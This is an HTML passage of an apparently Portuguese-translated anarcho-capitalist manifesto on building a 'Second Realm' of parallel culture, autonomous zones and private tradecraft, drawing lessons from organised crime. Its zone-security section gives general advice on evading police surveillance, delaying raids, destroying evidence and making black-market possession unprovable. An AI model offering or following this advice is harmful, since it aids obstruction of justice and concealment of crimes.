&lt;p>Separar-se da cultura vigente e de suas várias subculturas deixa o dissidente como um excêntrico tolerado no melhor dos casos, ou um problemático indesejado na pior das hipóteses. Mas isso também deixa o indivíduo na posição de não ter integração social; que é necessária pela maioria de nós simplesmente por conta da nossa saúde mental.&lt;/p>
&lt;hr>
&lt;p>Pior do que isso, é ser removido das funções cooperativas da sociedade.
Muitas instituições de nossa sociedade foram originalmente criadas para otimizar a cooperação entre indivíduos. Desde então, porém, elas foram tomadas e remodeladas para suportar o domínio do Estado.&lt;/p>
&lt;p>Essas instituições são numerosas e nós vamos listar apenas as mais importantes aqui:&lt;/p>
&lt;ul>
&lt;li>Dinheiro e sistemas bancários&lt;/li>
&lt;li>Títulos de propriedade&lt;/li>
&lt;li>Identidade (documentos, passaportes, etc.)&lt;/li>
&lt;li>Licenças, regulações e seguros&lt;/li>
&lt;li>Cumprimento da lei e segurança&lt;/li>
&lt;li>Sistema legal, tribunais, justiça e punição&lt;/li>
&lt;li>Educação e mídia&lt;/li>
&lt;li>Redes de Comunicação, Energia e Transporte&lt;/li>
&lt;li>Caridade (agora políticas de bem-estar)&lt;/li>
&lt;/ul>
&lt;p>Cada uma dessas instituições e serviços estão firmemente controladas pelo Estado.
Acesso e provisão estão limitados a aqueles que não são percebidos como inimigos do sistema mas a aqueles que seguem as normas culturais.&lt;/p>
&lt;p>Esses sistemas são necessários para uma cooperação bem sucedida entre indivíduos; para satisfazer as necessidades que eles não podem satisfazer sozinhos.&lt;/p>
&lt;hr>
&lt;p>É através de regulação, licenciamento e dominância cultural que o acesso a essas, e provisionamento dessas instituições e serviços é regulado, sempre com uma firme integração de vigilância e punição. Apesar de que há sempre brechas nesse controle que permitem que pessoas escapem, a principal atividade para legisladores e burocratas parece ser buscar e selar essas brechas - é criar um sistema no qual essas instituições, combinadas com sua cultura pareada, provenham um ferramental totalitário e moldem cada indivíduo sob o domínio do sistema Estatal.&lt;/p>
&lt;hr>
&lt;p>Códigos culturais, valores, símbolos e sistemas e instituições de cooperação permitem que o Estado se torne uma entidade espacial, através de seus agentes, proponentes e dependentes. A cultura forma uma base para consentimento ativo enquanto o controle de acesso às instituições cria uma força implícita para manter seus súditos na linha. (Os benefícios de obedecer pesam mais que os riscos da dissidência.)&lt;/p>
&lt;p>Isso provê o Estado com &lt;strong>indivíduos&lt;/strong> que projetam sua força à esfera espacial através de suas ações. Começa com a simples exclusão social de dissidentes, continua com a delação e convida agentes Estatais a situações onde os mesmos são indesejados, e termina por usar a força contra os dissidentes.&lt;/p>
&lt;hr>
&lt;p>Os aspectos entrelaçados da cultura, instituições, lucros da redistribuição e a expectativa de estabilidade formam a fundação do poder dos Estados e garantem um consentimento duradouro (tanto passivo quanto ativo) para a dominância desse sistema.&lt;/p>
&lt;p>Nós chamamos o todo desse sistema de: &lt;strong>A Primeira Esfera.&lt;/strong>&lt;/p>
&lt;hr>
&lt;p>Por favor, tenha em mente que estamos falando sobre o sistema de dominação, não uma implementação específica ou os partidos que o governam.&lt;/p>
&lt;p>Até o momento, tentativas de mudar esse sistema conseguiram (no máximo) mudar as faces donas do espetáculo, mas nunca mudaram fundamentalmente o jogo.&lt;/p>
&lt;hr>
&lt;p>A pesar de podermos chamar o apoio da população a esse sistema anti-ético, mal orientado, estúpido e até perverso, esse é, querendo ou não, uma realidade que deve ser encarada de forma clara.&lt;/p>
&lt;p>Nosso desafio é de uma magnitude enorme. Motivo de estratégias anteriores terem falhado em alcançar muitas mudanças duradouras.&lt;/p>
&lt;h2 id="conclusões">Conclusões&lt;/h2>
&lt;p>Nós podemos então traçar as seguintes conclusões:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>&lt;strong>Espacial:&lt;/strong> Nós temos que encontrar ou &lt;strong>criar&lt;/strong> território (espaço) no qual nenhum agente, proponente, ou dependente do Estado esteja presente ou possa exercer força de qualquer forma direta. Com exceção do espaço sideral (e talvez o alto mar), é improvável que qualquer território que não esteja ocupado por agentes do Estado possa ser encontrado atualmente. Não vale a pena tentar criar esse tipo de território.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Espacial:&lt;/strong> Nós temos que proteger e &lt;strong>defender&lt;/strong> o território da liberdade contra a vigilância Estatal. Vigilância é o precursor da força, seja direta ou indireta. (Senão, a qual propósito ela serve?)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Espacial:&lt;/strong> Nós temos que minimizar a necessidade de pessoas livres entrarem em território que é ocupado por agentes do Estado ou vigiado por eles.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Institucional:&lt;/strong> É necessário formar sistemas de cooperação &lt;strong>independentes&lt;/strong> que são formados pela ética da liberdade e que não estejam conectados às instituições de controle (se passando por instituições de cooperação).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Institucional:&lt;/strong> Nós não podemos depender de qualquer instituição dominada pelo Estado para formar a base de nossas interações ou nossos próprios sistemas.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Institucional:&lt;/strong> Qualquer interação com instituições controladas pelo Estado devem ocorrer via &lt;strong>intermediários&lt;/strong> e com extrema separação, para limitar quaisquer danos que possam (e vão) ocorrer.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Cultural:&lt;/strong> Nós precisamos criar e sustentar nossa própria cultura baseada nos &lt;strong>valores&lt;/strong> definidos pela ética da liberdade.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Cultural:&lt;/strong> Nossa cultura não pode ser uma simples subcultura ou contracultura para a cultura convencional dominada pelo Estado. Ela deve ser uma &lt;strong>contra-cultura&lt;/strong> independente.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Cultural:&lt;/strong> Nós precisamos dos nossos próprios &lt;strong>símbolos&lt;/strong> culturais para que o reconhecimento mútuo possa otimizar a comunicação e o ordenamento social, assim como suportar a separação da cultura de nossos oponentes.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Cultural:&lt;/strong> Os &lt;strong>códigos&lt;/strong> culturais e normas da liberdade devem suportar ambas, a integração e o sustento de pessoas livres e a exclusão de agentes Estatais.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>&lt;strong>Nossa estratégia para a liberdade é a criação de uma cultura livre, uma sociedade que ocupe seu próprio espaço protegido e implemente sistemas de cooperação independentes. Nós precisamos criar a &lt;em>Segunda Esfera&lt;/em>.&lt;/strong>&lt;/p>
&lt;hr>
&lt;p>Essa tarefa pode ser justamente vista como monumental, e os riscos são altos. Porém, é definitivamente alcançável. Vários grupos alcançaram esses exatos objetivos no passado e muitas vezes foram capazes de sustentar seus sistemas por séculos. A única grande diferença entre esses empreendedores culturais de sucesso e pessoas livres é que nós estamos mais restritos em nossas regras de engajamento. De qualquer forma, até isso pode ser usado como vantagem a longo prazo.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Anarquia é a livre associação de indivíduos em sociedades de sua preferência.&lt;/strong>&lt;/p>
&lt;/blockquote>
&lt;h1 id="a-segunda-esfera-1">A Segunda Esfera&lt;/h1>
&lt;p>Após termos definido os limites e objetivos de uma estratégia necessária - a criação da Segunda Esfera - é hora de olharmos para a implementação.&lt;/p>
&lt;p>Vários grupos do passado e atuais servem como inspiração para nós ao imaginar o futuro das pessoas livres. Porém, eles não devem servir de guia; apenas de exemplos que podemos tirar lições. Nós vamos ter que fazer algumas coisas diferentes do que outros fizeram antes.&lt;/p>
&lt;p>Como uma excursão de inspiração, vamos dar uma olhada em vários desses exemplos:&lt;/p>
&lt;hr>
&lt;p>Grupos de crime organizado: Todo mundo conhece a máfia italiana, a Yakuza, as Triads e as gangues de moto fora da lei do noticiário. O que muitas vezes passa batido é que essas organizações não são gangues simples e caóticas, mas exibem um belo indício de seu próprio tipo de sociedade.&lt;/p>
&lt;p>A máfia, por exemplo, é primeiramente uma rede solta de gangues independentes que pagam tributos a seus dons e recebem proteção e seu próprio sistema de resolução de conflitos em troca. Seu objetivo é limitar o conflito dentro dos grupos e não ter que usar da violência quando outras formas de resolução de conflitos estão disponíveis. Eles operam seu próprio sistema de territórios e mercados, eles provêem serviços de comunicação e reputação, e adotam a divisão de trabalho pela especialização. Alguém poderia definir a máfia como uma associação criminosa de negócios baseados em valores morais compartilhados.&lt;/p>
&lt;p>Similarmente as Triads são estabelecidas na etnicidade (Chineses Han) e compartilham de uma narrativa cultural (resistência ao domínio Manchu). Eles existem a séculos, na maior parte por estabelecer uma sociedade integrada e tentar limitar suas atividades a conflito interno, explorando criminosos de rua e focando em crimes menos públicos.&lt;/p>
&lt;p>Um padrão similar de narrativa social, foco moral e intervenção bem ministrada à esfera pública se mostra na Yakuza. Eles inclusive focam bastante em serem reconhecíveis pelo público.&lt;/p>
&lt;p>Enquanto os três exemplos anteriores cobrem organizações mais antigas, as gangues de moto são um fenômeno mais recente. Eles mostram abertamente sua imagem de fora da lei como parte de sua cultura, criam suas próprias normas e usam sua própria forma de justiça.&lt;/p>
&lt;hr>
&lt;p>Todos os exemplos anteriores compartilham de algumas características na operação e organização que podem servir de dicas do que estruturas paralelas de sucesso precisam.&lt;/p>
&lt;p>Primeiro, eles são todos baseados em sua própria cultura e valores independentes. Não são caóticos e &amp;ldquo;sem lei&amp;rdquo;, mas tem suas próprias leis que são, por muitas vezes, mais estritas e mais conservadoras que a cultura convencional. Por exemplo, a Yakuza proíbe seus membros de participarem em roubos, a Máfia pune membros por adultério e todos eles levam a palavra do indivíduo e contratos verbais muito a sério.&lt;/p>
&lt;p>Outra característica comum é que esses grupos normalmente tentam limitar a violência para com sua própria comunidade em vez de espalhar o caos.
Isso por dois motivos: Obviamente isso evita chamar atenção da polícia e da opinião pública que poderia dificultar seus negócios, mas essas pessoas também se entendem como parte de sua comunidade local, da qual muitas vezes se esforçam para proteger e ajudar. Isso tem um efeito colateral positivo de ganhar o apoio do público dentro de sua presença territorial.&lt;/p>
&lt;p>Contrária à opinião popular, esses grupos não são estruturas de comando hierárquicas. Sub-grupos são por muitas vezes autônomos e não seguem planejamento hierárquico. Em vez disso, eles partilham parte de seus lucros com a organização em retorno de serviços especializados, investimento e fornecimento de justiça. Frequentemente esses grupos têm de responder para líderes apenas por causarem muitos problemas, serem muito violentos ou interferirem com o negócio de outros subgrupos. Além disso, eles são, no geral, independentes.&lt;/p>
&lt;p>A última semelhança a ser apontada é que esses grupos controlam locais como clubes, escritórios, restaurantes ou lugares similares onde eles podem se encontrar e conduzir seus negócios longe do público e onde podem se proteger de invasões surpresa ou infiltrados, tendo pessoal em todos os turnos 24 horas por dia, alarmes, guaritas, guardas e tecnologia de segurança.&lt;/p>
&lt;hr>
&lt;p>Claro que esses grupos conduzem negócios que são antiéticos e usam métodos que entram em conflito com as regras de engajamento das quais nos limitamos, no entanto eles também fornecem algumas dicas para estabilidade a longo prazo e organizações fora da lei. Essas são:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Eles definem e sustentam sua própria &lt;strong>cultura paralela e sociedade&lt;/strong>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Eles seguem uma &lt;strong>conduta de mínima-intervenção&lt;/strong> ao que condiz com gente de fora, especialmente nas esferas de violência.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Autonomia local&lt;/strong> para subgrupos, os protege de decapitação e maximiza sua flexibilidade.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Eles criam uma imagem positiva para sua &lt;strong>comunidade local&lt;/strong> através de atos de ajuda e alívio econômico.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Locais autônomos temporários&lt;/strong> os provêem com espaço protegido para conduzir seus negócios. Esses locais existem por tempo suficiente para justificá-los como semi-permanentes.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Usam &lt;strong>especialização e divisão de trabalho&lt;/strong>, eles criam um mercado interno para o fornecimento de serviços comuns necessários para seus subgrupos.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Eles tem um foco altíssimo em operar seus próprios &lt;strong>sistemas independentes de justiça internos&lt;/strong> e código legal.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Por conta de sua natureza fora da lei eles tem que manter sua própria operação de &lt;strong>segurança e defesa&lt;/strong> contra outras organizações fora da lei que se intrometem em seu território ou se provam hostis.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Podemos observar que esses grupos encaram problemas similares aos nossos - espaciais, culturais e institucionais - e que desenvolveram formas de superar esses desafios.&lt;/p>
&lt;hr>
&lt;p>Abaixo, algumas dessas soluções são exploradas em detalhe e adaptadas especialmente para nossos obstáculos, recursos e regras de engajamento.
Além disso, alguns componentes adicionais e necessários para a Segunda Esfera são apresentados.
Juntos, esses formam a fundação de um modelo funcional para a sociedade paralela que precisamos.&lt;/p>
&lt;h2 id="zonas-autônomas-temporárias-revisadas">Zonas Autônomas Temporárias Revisadas&lt;/h2>
&lt;p>Apesar de agredir um pouco a definição original de Hakim Bey, uma Zona Autônoma Temporária é um espaço ou território que frustra o controle de um governo amplamente reconhecido.&lt;/p>
&lt;hr>
&lt;p>Há vários exemplos os quais diferem em autonomia e duração, de zonas permanentes completamente independentes até zonas de curta duração de autonomia simulada.&lt;/p>
&lt;p>O mais antigo desses exemplos pode ser encontrado na Europa da idade média na forma de Guetos, que não só serviam como um local para concentrar grupos sociais &amp;ldquo;indesejados&amp;rdquo;, mas para dar a esses grupos autonomia interna na forma de seus próprios impostos e sistemas de justiça. Mais relevantes nesse respeito são os guetos da diáspora judaica.&lt;/p>
&lt;p>Outro exemplo pode ser encontrado hoje na América Latina onde as favelas não só são excluídas de receber serviços oficiais do governo como também constituem zonas autônomas permanentes nas quais a força governamental só desempenha um papel durante incursões estratégicas, mas não no dia-a-dia. Na mesma categoria estão os arranha-céus ocupados em várias cidades Latino Americanas que não foram visitados por nenhum agente Estatal para funções oficiais por anos.&lt;/p>
&lt;p>A Cidade Murada de Kowloon foi outro exemplo dessas zonas autônomas semi-permanente até a sua demolição em 1993. Localizada em território não disputado na fronteira da Hong Kong Britânica, com uma planta de aproximadamente um quilômetro quadrado, foi um local amplamente não governado desde meados de 1950 e era lar de mais de 33 mil pessoas.&lt;/p>
&lt;hr>
&lt;p>Esse conceito e os vários exemplos de sua implementação na vida real são de enorme importância para nossa estratégia, sendo uma das principais soluções para o problema espacial.&lt;/p>
&lt;p>Zonas Autônomas Temporárias nos dão a oportunidade para nossa cultura existir em espaço físico, nos permitindo conduzir nossos negócios, organizar nossas relações sociais e lidar com conflitos da forma que nós pensamos ser a correta.&lt;/p>
&lt;hr>
&lt;p>No entanto, nossas zonas autônomas são por vezes muito limitadas em tempo. Nós precisamos de uma &amp;ldquo;política externa&amp;rdquo; que aumente sua duração e as faça seguras para atividades sociais e comerciais.&lt;/p>
&lt;p>Para isso existem dois métodos no geral. O primeiro envolve ter criado a zona autônoma temporária em segredo, escondida da atenção do Estado que a cerca. Enquanto isso pode funcionar por um tempo, é muito limitada, já que eventualmente o local vai ficar conhecido e meios adicionais de estabilidade serão necessários. O segundo método foca em alcançar uma &amp;ldquo;tolerância informal&amp;rdquo; pelas autoridades Estatais. Para isso a zona deve atender três critérios:&lt;/p>
&lt;hr>
&lt;p>Primeiro, a zona não deve se tornar um incômodo para os vizinhos nem ser conhecida como problemática para pessoas e propriedades fora da zona.
Em especial isso inclui que os direitos de propriedade do território devem ser respeitados e que um acordo deve ser alcançado com os donos antes de conduzir qualquer atividade autônoma no local. Qualquer justificativa para influência de terceiros deve ser prevenida.&lt;/p>
&lt;p>Segundo, a zona e seus habitantes devem aderir estritamente ao princípio &lt;strong>&amp;ldquo;o que acontece na zona fica na zona&amp;rdquo;&lt;/strong>, significando que todos os conflitos devem ser resolvidos sem a intervenção de agentes da lei externos. Isso implica que devemos lidar com arruaceiros internos de forma imediata; antes que o conflito possa se escalar. Além disso, agentes Estatais e proponentes devem ser desencorajados de visitar o local. Normalmente isso ocorre não convidando pessoas de reputação questionável ou amigos conhecidos do Estado.&lt;/p>
&lt;p>Terceiro, o custo da intervenção por uma parte de fora deve ser engrandecido ao ponto de se tornar injustificável, e que seja mais lucrativo para o atacante fazer vista grossa. Enquanto propinas são uma forma comum de alcançar esse objetivo, uma tática mais completa promete sucesso:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>E&lt;/strong>sconder, &lt;strong>S&lt;/strong>aber, &lt;strong>A&lt;/strong>trasar, &lt;strong>D&lt;/strong>efender, &lt;strong>D&lt;/strong>estruir, &lt;strong>R&lt;/strong>ecuperar. ^[Mnemônica: Esses socialistas adoram duvidar da razão]&lt;/p>
&lt;/blockquote>
&lt;p>Primeiro, &lt;strong>esconda&lt;/strong> qualquer informação sobre o que acontece dentro da zona de espionagem externa. Isso requer o uso de controle de acesso para impedir ameaças potenciais de entrarem na área assim como contra-medidas a espionagem de sinais de dentro e especialmente por fora. Por exemplo, um lugar desses não deveria ter linhas de comunicação óbvias conectando ele ao mundo, mas em vez disso usar tecnologia de anonimização para esconder o conteúdo e fonte de sua comunicação. E mais, a área não deveria ser observável por fora e deve ser dada atenção especial para ataques de espionagem.&lt;/p>
&lt;p>Segundo, alguém precisa &lt;strong>saber&lt;/strong> quando um ataque físico - uma incursão - contra o local está em planejamento ou ocorrendo. Isso requer formas de ficar de olho ao redor e ter um sistema de alarme para avisar a todos na área que um ataque é iminente.&lt;/p>
&lt;p>Terceiro, &lt;strong>atrasar&lt;/strong> o agressor com formas passivas para prevenir que esse execute um ataque surpresa. Normalmente envolve várias barreiras, como várias portas reforçadas que precisam ser quebradas antes que a área de interesse principal seja alcançada. Isso é necessário para possibilitar que os ocupantes da zona autônoma temporária possam:&lt;/p>
&lt;p>Quarto, &lt;strong>defender&lt;/strong> o local. Enquanto opcional contra agressores do Estado isso é uma necessidade contra incursões de agentes não Estatais como gangues e outras formas violentas de crime organizado que esperam encontrar objetos de valor ou tomar território. No caso de agentes não Estatais, defesa por dissuasão pode se provar lucrativa. Isso pode ser feito ao mostrar que ambos sistemas de alarme e formas de atraso estão presentes, por exemplo sistemas de câmeras de segurança e barreiras de arame farpado.&lt;/p>
&lt;p>Quinto, qualquer atacante deve sempre ser frustrado na busca por seu objetivo durante o ataque. Isso normalmente significa que qualquer coisa que pode ser do interesse deles deve ser &lt;strong>destruído&lt;/strong> ou removido. Isso serve um propósito duplo. De um lado desencoraja o atacante e outros depois dele de atacar tal área novamente porque o custo do ataque ultrapassa qualquer lucro ganho com isso.
Por outro lado, serve para proteger qualquer informação de chegar nos atacantes. Os mantém longe de qualquer coisa que poderia ser usada tanto para planejar futuros ataques ou como evidência em um julgamento contra os ocupantes da zona.
No caso de atividades de mercado negro o produto deve ser separado do comerciante para que a posse não possa ser provada e o comerciante, condenado. Para isso ter sucesso, medidas anti-espionagem devem ser levadas a sério.&lt;/p>
&lt;p>Por último, é necessário que não se desista da estratégia após o primeiro ataque bem sucedido. Qualquer operação deve estar empenhada em se &lt;strong>recuperar&lt;/strong> para ser estável a longo prazo. Enquanto ataques para &amp;ldquo;assustar&amp;rdquo; podem ser lucrativos para o atacante se a estratégia for abandonada, ataques rapidamente repetidos se tornam problemáticos tanto em questão de custo quanto em opinião pública.&lt;/p>
&lt;p>É muito importante que se enfatize que não estamos falando sobre uma &amp;ldquo;base militar&amp;rdquo; que foi criada para desencorajar um ataque. Ao invés disto, o objetivo da nossa proposta é criar áreas que façam ataques repetidos (mesmo com êxito) por lucro ou evidência, muito caros e menos atraentes. Qualquer forma direta de batalha aberta com os agentes Estatais levará a derrota e perdas de vidas e liberdade. Nosso objetivo é manter a evidência longe das mãos de agressores. A única situação que um conflito direto pode ser lucrativo é contra criminosos violentos não Estatais.&lt;/p>
&lt;hr>
&lt;p>Para nossos propósitos, uma zona temporária autônoma dessas pode ir de clubes de negócios de natureza semi-permanente até feiras de rua que só duram algumas horas. Os requisitos de segurança para diferentes tipos de zona podem variar significativamente, de acordo com os riscos que enfrentam. Para a maioria das operações um restaurante bem administrado com uma sala nos fundos e pessoal 24 horas podem ser suficientes. De qualquer forma deve-se prestar atenção aos princípios táticos mencionados acima.&lt;/p>
&lt;p>O propósito principal de uma zona autônoma temporária em nossa estratégia continua sendo a de &lt;strong>&amp;ldquo;manter a evidência longe das mãos de agressores, e de ter um local seguro para nossa cultura e negócios&amp;rdquo;&lt;/strong>.&lt;/p>
&lt;hr>
&lt;p>Como inspiração adicional, essas zonas podem servir não só como locais de atividade social, mas também para a proteção de bens e comércios. Outro exemplo para seu uso são feitorias onde ocorrem negócios de um-para-um que devem ser conduzidos pessoalmente, ou mercados autônomos temporários que abrem suas atividades para a nossa sub-sociedade. Além disso, esses lugares podem ser usados como &lt;em>Agadir&lt;/em> - instalações tradicionais para guardar itens de valor de forma segura.&lt;/p>
&lt;hr>
&lt;p>Métodos adicionais de operação nesses locais podem ser explorados, mas eles são puramente táticos e específicos para o uso em questão. Logo, os deixamos como um exercício ao leitor e para outras publicações.&lt;/p>
&lt;h2 id="além-da-fisicalidade---em-direção-à-informação">Além da Fisicalidade - Em Direção à Informação&lt;/h2>
&lt;p>Uma das grandes vantagens das Zonas Autônomas Temporárias (ZAT) é a habilidade de se viver como se fosse livre - pois você é, pelo menos nesse momento de local e tempo.&lt;/p>
&lt;p>Essa vantagem não é válida apenas para locais físicos, mas também para locais digitais. Mesmo que o termo &amp;ldquo;lugar digital&amp;rdquo; seja enganoso porque a fisicalidade de uma esfera digital é insignificante, mas pode servir à algumas das finalidades que uma &lt;em>ZAT&lt;/em> física pode cumprir.&lt;/p>
&lt;hr>
&lt;p>Criar uma zona digital autônoma, uma zona digital &lt;em>permanente&lt;/em>, nos permite socializar, comunicar e fazer trocas em um ambiente que pode ser fortemente protegido contra o envolvimento de um terceiro e coerção através da tecnologia e criptografia.&lt;/p>
&lt;p>Aqui as pessoas podem falar umas com as outras como se o Estado não existisse, elas podem planejar ou até conduzir trocas sem ter que gastar um pensamento sequer sobre a esfera legal que seu corpo físico reside. Uma grande parte de nossa vida que não é tolerada pela sociedade ao nosso redor pode ser conduzida na segurança do ciberespaço.^[A esfera digital que é fortemente protegida por criptografia e usa um modelo criptográfico para assegurar algumas regras.]&lt;/p>
&lt;p>Já que anonimizar a tecnologia e a criptografia podem separar nosso corpo coercível de nossa mente ativa e identidade, nós temos a habilidade de experimentar com novas formas culturais, sociais e jurídicas aqui - sem o risco de ir preso ou julgado.&lt;/p>
&lt;hr>
&lt;p>Dito isso, zonas autônomas digitais não podem substituir os aspectos espaciais da nossa humanidade. É difícil beber algo no ciberespaço, você não pode olhar para cada rosto durante uma negociação e apenas bens digitais podem ser negociados diretamente. Quando combinamos zonas autônomas digitais e físicas, o melhor de dois mundos pode ser usufruído: usando tecnologia digital para negociações e reuniões ad-hoc usando zonas físicas para entregar as mercadorias ou para tomar uma juntos. Isso é crucial para a ligação social. Frequentemente, a parte mais arriscada durante uma transação - entregar o dinheiro e fazer cumprir os contratos - podem ser transferidos para o ciberespaço onde a proteção é garantida através de uso de matemática avançada. Falaremos sobre algumas das tecnologias necessárias abaixo.&lt;/p>
&lt;hr>
&lt;p>Combinando zonas autônomas tanto físicas quanto digitais, portanto, nos fornece um amplo conjunto de métodos de proteção que nos permitem agir livremente, pois somos livres.&lt;/p>
&lt;h2 id="o-futuro">O Futuro&lt;/h2>
&lt;p>O impacto total das zonas autônomas vai se mostrar em um futuro próximo. As tecnologias estão mudando os tamanhos ideais de negócios, número e diversidade de produtos e atores necessários para um mercado funcional. Neste momento é difícil para nós sermos auto-suficientes em nossas zonas francas. No futuro iremos não apenas ter a capacidade de ser auto-suficientes se quisermos, mas poder ser &lt;em>forçados&lt;/em> a confiar muito mais em nós mesmos devido ao colapso social na Primeira Esfera.&lt;/p>
&lt;hr>
&lt;p>Existem várias tecnologias e tendências econômicas que devem ser mantidas no radar de qualquer anarcocapitalista.&lt;/p>
&lt;p>Duas dessas tecnologias são o advento de vários tipos de agricultura urbana, especialmente a agricultura urbana vertical industrial (que promete fazer a produção de alimentos para muitos milhares de consumidores possível e econômica - em um único arranha-céu) e microfabricação. Microfabricação é a produção automatizada de peças por meio de impressão 3D sem a necessidade do desenvolvimento de ferramentas especiais. Isso permitirá o download de planos de construção da internet e a impressão subsequente de geometria complexa com impressoras 3D que não requerem atenção durante a operação. O número de materiais básicos disponíveis para esse método está aumentando rapidamente e logo permitirá que qualquer pessoa com as habilidades certas concorra com instalações especializadas de produção de alto capital com uma fração do risco e do investimento.&lt;/p>
&lt;p>Essas e outras tecnologias reforçam uma tendência que pode ser vista em partes crescentes das economias ocidentais, que é a passagem de uma cultura de consumo em massa para uma cultura de produção-e-consumo, na qual muito mais pessoas são autônomas, as lojas de artesãos voltam para o ambiente urbano e os produtos da produção em massa perdem o encanto.&lt;/p>
&lt;hr>
&lt;p>Quando combinamos zonas autônomas com mudanças nos campos econômicos e tecnológicos, bem como mudanças na composição social, é fácil imaginar microterritórios voltando a ser atraentes. Esta será a grande oportunidade para plantarmos as sementes da liberdade em partes cada vez maiores da população sem cair na falácia das massas. Mas, para que isso tenha sucesso, nossas atividades precisam começar com bastante antecedência. Devemos mostrar modelos que podem ser expandidos e estruturas que já resistiram a algumas tempestades. Nosso modelo deve ser visto como comprovado, viável ou até atraente.&lt;/p>
&lt;h2 id="ensaios-sobre-trocas-seguras---básico-de-tradecraft">Ensaios sobre trocas seguras - Básico de Tradecraft&lt;/h2>
&lt;p>Há pouca discordância que trocas - e qualquer outra interação social - deva ser protegida da intromissão e coerção de terceiros, roubos ou violações similares. Nos deparamos com uma ameaça adicional simplesmente por existir e interagir fora do sistema que nosso Estado anfitrião nos permite.&lt;/p>
&lt;hr>
&lt;p>Essa ameaça é fundada em nossa oposição à provisão de justiça compulsória pelo Estado.&lt;/p>
&lt;p>Por um lado nós não podemos usar o sistema de justiça do Estado como solução para violações que experimentamos de forasteiros, o que requer que tenhamos nossos próprios meios de nos defender contra a agressão de terceiros e alcançar justiça se a defesa falhar. Nós precisamos do nosso próprio sistema de justiça e mecanismos de aplicação.&lt;/p>
&lt;p>De outro lado, os braços de sistema de justiça e aplicação da lei Estatal são contrários à existência de nossos sistemas e as ações que participamos fora de sua esfera proclamada. Nós, portanto, nos deparamos com o Estado tentando se intrometer em nossos negócios e nos punir por não obedecê-lo ou nos esconder de seus agentes.&lt;/p>
&lt;hr>
&lt;p>O segundo problema - perseguição pelo Estado - merece que pensemos mais a respeito.
Como nos protegemos contra um oponente tão poderoso?&lt;/p>
&lt;p>Deixe-nos introduzir alguns conceitos aqui que podem nos ajudar a projetar métodos para combater essa ameaça.&lt;/p>
&lt;hr>
&lt;p>Pseudonimidade. Um dos métodos de controle que são usados por nossos oponentes, que permeiam a cultura vigente e é estrita dentro da maioria das instituições de cooperação, é o uso de &amp;ldquo;Nomes Verdadeiros&amp;rdquo; - nossa identidade oficial, sancionada pelo Estado e amplamente conhecida da qual cada um de nós deve ter apenas um, e que segura juntas todas as nossas ações. Certamente ter e usar nomes é um pré-requisito em várias interações sociais e comerciais. Sem isso nós não conseguimos nos encontrar novamente de forma fácil, dirigir-se um ao outro, ou ter uma história que permite que outros se refiram a nós.&lt;/p>
&lt;p>Porém, não há necessidade de que esses nomes sejam os que nossos pais nos deram ao nascer, ou que sejam reconhecidos pelo Estado, ou até que cada um de nós leve apenas um nome uma vez e para sempre.&lt;/p>
&lt;p>Pseudonimidade é o conceito de ter nomes alternativos e identidades que nós revelamos a medida que são necessários, que estão atrelados a suas próprias histórias e reputações. Quebrando o feitiço de nosso &amp;ldquo;Nome Verdadeiro&amp;rdquo; e usar identidades escolhidas por nós mesmos, específicas por atividade, nos permite limitar a habilidade de nossos oponentes de atrelar todas as nossas ações à coleira que nos amarra a eles e ao mesmo tempo utilizarmos as funções que nomes e identidades provém. Esses pseudônimos não precisam ser registrados pelo Estado nem associados à nossa identidade verdadeira, desde que métodos específicos de garantia e aplicação de regras estejam disponíveis.&lt;/p>
&lt;hr>
&lt;p>Anonimidade. Contrário à propaganda moderna, não há nada de errado com a anonimidade em si. Muitas de nossas ações e trocas não precisam ser reversíveis ou tem a habilidade de causar dano aos outros. Nesses casos é perfeitamente aceitável não ter nenhum nome ou identidade. Dada a estrutura de interação correta, não há necessidade de atribuição alguma.&lt;/p>
&lt;p>O exemplo mais proeminente de uma área onde o anonimato é prático e útil é a comunicação digital. Enquanto podemos escolher ser um pseudônimo para partes que desejamos que nos conheçam, todas as outras partes não deveriam saber quem está agindo. Para essas partes nós permanecemos anônimos.&lt;/p>
&lt;hr>
&lt;p>Opacidade. A maioria de nós foi treinada a ver qualquer segredo e não-transparência como uma ameaça. Pensar a respeito disso deve rapidamente revelar que uma oposição tão abrangente a segredos é uma idiotice, sem qualquer justificativa. Devido às tendências totalitárias da cultura vigente e organização política - o desejo de controlar os outros - segredos se tornaram algo a abolir.&lt;/p>
&lt;p>Segredos por si só nunca são um problema, é a fraude e a coerção que eles poderiam esconder que são fonte de perigo. Quando nós projetamos nossos sistemas de forma que as partes diretamente e voluntariamente envolvidas são os únicos que podem ser afetados de forma relevante, se torna claro que essas partes podem manter um segredo entre elas contra todas as outras partes que não estão diretamente envolvidas.&lt;/p>
&lt;p>Logo, opacidade de ação em relação a partes não afetadas pode nos proteger de intervenção de terceiros e punição sem trazer perigos adicionais. Não há justificativa para qualquer um que não o comprador e o vendedor, saber quem está vendendo o que para quem. Ninguém precisa saber o que a pessoa A diz para a pessoa B se nenhum interesse de outra pessoa está ameaçado.&lt;/p>
